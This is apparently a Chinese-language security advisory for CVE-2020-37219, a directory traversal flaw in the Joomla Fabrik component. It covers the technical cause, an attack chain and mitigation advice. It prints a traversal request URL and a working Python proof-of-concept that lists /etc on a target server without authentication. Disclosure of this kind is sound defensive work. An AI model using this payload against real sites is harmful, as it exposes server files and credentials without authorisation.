IPBUF安全漏洞报告
English
CVE-2020-37219 CVSS 7.5 高危

CVE-2020-37219 Joomla Fabrik目录遍历漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37219
漏洞类型
目录遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Joomla com_fabrik

相关标签

目录遍历信息泄露JoomlaFabrikCVE-2020-37219

漏洞概述

Joomla Fabrik组件3.9.11版本存在严重的目录遍历漏洞。由于未正确过滤用户输入的folder参数,未经身份验证的远程攻击者可以通过发送特制的GET请求到onAjax_files方法,利用路径遍历序列(如../)列出Web根目录之外的任意系统文件。该漏洞无需用户交互且攻击复杂度低,可能导致敏感信息泄露,风险较高。

技术细节

该漏洞的具体原理是Joomla Fabrik组件在处理文件列表请求时,对`folder`参数缺乏充分的输入验证和路径过滤。在`onAjax_files`方法中,程序直接将用户可控的参数拼接到路径中进行文件系统操作,未进行路径规范化检查。攻击者可以通过在URL参数中插入`../`序列来穿越目录。例如,构造请求`index.php?option=com_fabrik&view=list&format=json&task=plugin.ajax&plugin=fileupload&method=onAjax_files&folder=../../etc`,即可访问系统敏感目录。由于漏洞利用无需认证(PR:N),且通过网络攻击(AV:N),攻击者可轻易枚举服务器文件结构,获取配置文件、源代码或其他敏感数据,为进一步攻击提供信息支撑。

攻击链分析

STEP 1
侦察
攻击者识别目标网站正在使用Joomla CMS,并检测到安装了Fabrik组件。
STEP 2
构造载荷
攻击者构造包含恶意目录遍历序列(如../)的GET请求,目标是onAjax_files方法,并指定folder参数为敏感系统路径(如/etc/)。
STEP 3
发送请求
攻击者向服务器发送特制的HTTP请求,无需进行用户认证。
STEP 4
信息泄露
服务器由于未过滤路径参数,返回目标目录的文件列表,攻击者据此获取敏感系统信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): # Target endpoint for the vulnerable component url = f"{target_url}/index.php" # Payload parameters exploiting the directory traversal in 'folder' parameter params = { "option": "com_fabrik", "view": "list", "format": "json", "task": "plugin.ajax", "plugin": "fileupload", "method": "onAjax_files", "folder": "../../etc/" # Directory traversal sequence to list /etc directory } try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if typical Linux directory listing patterns appear in response if "passwd" in response.text or "shadow" in response.text: print("[!] Potential directory listing leaked.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

影响范围

Joomla Fabrik <= 3.9.11

防御指南

临时缓解措施
建议立即将Joomla Fabrik组件升级到修复了此漏洞的最新版本。如果暂时无法升级,应通过服务器配置(如.htaccess或nginx规则)限制对`index.php?option=com_fabrik`接口的访问,或者部署WAF规则以检测和阻断包含目录遍历特征的恶意请求。

参考链接